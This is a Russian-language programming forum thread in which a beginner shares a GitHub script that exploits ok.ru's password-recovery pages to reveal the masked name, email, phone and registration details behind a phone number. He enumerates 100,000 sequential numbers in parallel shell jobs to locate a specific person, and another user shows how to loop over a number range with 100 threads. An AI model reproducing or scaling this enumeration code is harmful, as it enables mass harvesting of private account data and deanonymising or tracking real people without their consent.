Форум сайта python.su
Здравствуйте, Помогите пожалуйста: - нашел на гите чекер ok.ru, запись результатов в файл понял как сделать, а вот, чтобы номера взять из файла для запроса не могу понять, с начала недели уже бьюсь, не могу понять куда записывать, что уже только не перепробовал, python только изучать начал.
сейчас вызывается так: python3 test.py 79246202039
а нужно python3 test.py numbers.txt
и как выставить количество потоков к этому test.py?
#!/usr/bin/env python3 import argparse import requests import sys #import re from bs4 import BeautifulSoup temp = sys.stdout sys.stdout=open("out.txt","a") sys.stdout.write(str() + '\n') OK_LOGIN_URL = \ 'https://www.ok.ru/dk?st.cmd=anonymMain&st.accRecovery=on&st.error=errors.password.wrong' OK_RECOVER_URL = \ 'https://www.ok.ru/dk?st.cmd=anonymRecoveryAfterFailedLogin&st._aid=LeftColumn_Login_ForgotPassword' #with open('1.txt') as infile: #for line in infile: #line.split('{login_data}') # def check_login(file_name):#file_name = input("79260000000") session = requests.Session() session.get(f'{OK_LOGIN_URL}&st.email={file_name}') request = session.get(OK_RECOVER_URL) root_soup = BeautifulSoup(request.content, 'html.parser') soup = root_soup.find('div', {'data-l': 'registrationContainer,offer_contact_rest'}) if soup: account_info = soup.find('div', {'class': 'ext-registration_tx taCenter'}) masked_email = soup.find('button', {'data-l': 't,email'}) masked_phone = soup.find('button', {'data-l': 't,phone'}) if masked_phone: masked_phone = masked_phone.find('div', {'class': 'ext-registration_stub_small_header'}).get_text() if masked_email: masked_email = masked_email.find('div', {'class': 'ext-registration_stub_small_header'}).get_text() if account_info: masked_name = account_info.find('div', {'class': 'ext-registration_username_header'}) if masked_name: masked_name = masked_name.get_text() account_info = account_info.findAll('div', {'class': 'lstp-t'}) if account_info: profile_info = account_info[0].get_text() profile_registred = account_info[1].get_text() else: profile_info = None profile_registred = None else: return None return { 'masked_name': masked_name, 'masked_email': masked_email, 'masked_phone': masked_phone, 'profile_info': profile_info, 'profile_registred': profile_registred, } if root_soup.find('div', {'data-l': 'registrationContainer,home_rest'}): return 'not associated' def console_output(file_name, parsed_response): if parsed_response: if parsed_response == 'not associated': print('{file_name}', "NONE", end="") else: print(f'{file_name}', end=' ') for key, value in parsed_response.items(): if value: #print(f'{key} - {value}') print(f'{value}', end=' ') else: print('No fault, but server return unknown response') def console_run(): arg_parser = argparse.ArgumentParser(description='Simple checker for ok.ru partial private data disclosure') arg_parser.add_argument('file_name', help='known credential to check (email / phone number / username)') args = arg_parser.parse_args() file_name = args.file_name response = check_login(file_name) console_output(file_name, response) if __name__ == '__main__': console_run() sys.stdout.close() sys.stdout = temp
Офлайн
Скрипт написан плохо. Хороший скрипт ты всегда легко поменяешь, каким бы сложным он ни был.
Так что лучше взять информацию из него по взаимодействию с ok.ru и написать новый скрипт по всем правилам.
Какой-то дурачок скрипт писал, и сейчас ты с его творением мучаешься.
Отредактировано py.user.next (Июнь 8, 2021 00:51:56)
Офлайн
py.user.nextНа гитхаб взял
Скрипт написан плохо. Хороший скрипт ты всегда легко поменяешь, каким бы сложным он ни был.Так что лучше взять информацию из него по взаимодействию с ok.ru и написать новый скрипт по всем правилам.Какой-то дурачок скрипт писал, и сейчас ты с его творением мучаешься.
Офлайн
В общем питон не знаю вообще, какие варианты только не перепробовал, чтобы добиться желаемого варианта, посмотрел 2 курса по питону, не помогло, решил пойти путём с которым знаком, но может пригодится кому, у меня ситуация такая, что надо было найти имя (оно специфичное, знал, что номер в ок начинается с 79260, поступил следующим образом - (кому то смешно будет):
Сначала получил все номера от 700000 до 800000
seq 79260700000 79260800000 > 100.txt
sed -i '/79260/s/^/python3 test.py /' < 100.txt > 100.sh
python3 test.py 79260700000
python3 test.py 79260800000
split -l 10000 100.sh 0_
sh 1/1.sh & sh 2/2.sh & sh 3/3.sh & sh 4/4.sh & sh 5/5.sh & sh 6/6.sh & sh 7/7.sh & sh 8/8.sh & sh 9/9.sh & sh 10/10.sh
Отредактировано l0gin.an (Июнь 12, 2021 22:12:30)
Офлайн
l0gin.an
но может пригодится кому
Офлайн
doza_andЗнаете, конкретно в этом коде не смог ничего сделать, чтобы номера брались с файла, опыт начальный в питоне, тему создал здесь, на github, на stackoverflow, и за неделю ни одного ответа, кроме как здесь, но и то не по сути, задачу свою впринципе решил, сейчас заноза только осталась, уже как спортивный интерес, просто интересно как именно здесь можно было изменить его, если будет время, будьте добры, покажите как надо, питон все равно теперь учить буду, а этот опыт - это сдался просто, реально неделю не мог переделать его… Добра всем.
Офлайн
l0gin.anЭто неудивительно. Довольно странно написано. Но по идее функцию вполне могли вызвать.
конкретно в этом коде не смог ничего сделать
l0gin.anНу сама идея брать циферки из файла если нужен перебор странная я думаю работало бы так:
как именно здесь можно было изменить его
for i in range(79260700000,79260800000+1): result = check_login(i) if result: ..... # или with open(txt,"r") as f: for i in f: result = check_login(i)
with ThreadPoolExecutor(max_workers=100) as e: res = e.map(check_login,range(79260700000,79260800000+1))
Отредактировано doza_and (Июнь 13, 2021 10:37:19)
Офлайн
doza_andЗдравствуйте, добрался сегодня до питона, первый вариант ваш смог сделать так:
def console_run(): arg_parser = argparse.ArgumentParser(description='Simple checker for ok.ru partial private data disclosure') arg_parser.add_argument('file_name', help='known credential to check (email / phone number / username)') args = arg_parser.parse_args() file_name = args.file_name for file_name in range(79260700000,79260700003+1): response = check_login(file_name) console_output(file_name, response)
with ThreadPoolExecutor(max_workers=100) as e: res = e.map(check_login,range(79260700000,79260800000+1))
Отредактировано l0gin.an (Июнь 14, 2021 21:56:56)
Офлайн
l0gin.anЭто вместо for вставляется. map это функция которая применяет другую функцию к каждому элементу последовательности
не могу понять куда это вставить
Отредактировано doza_and (Июнь 14, 2021 22:13:38)
Офлайн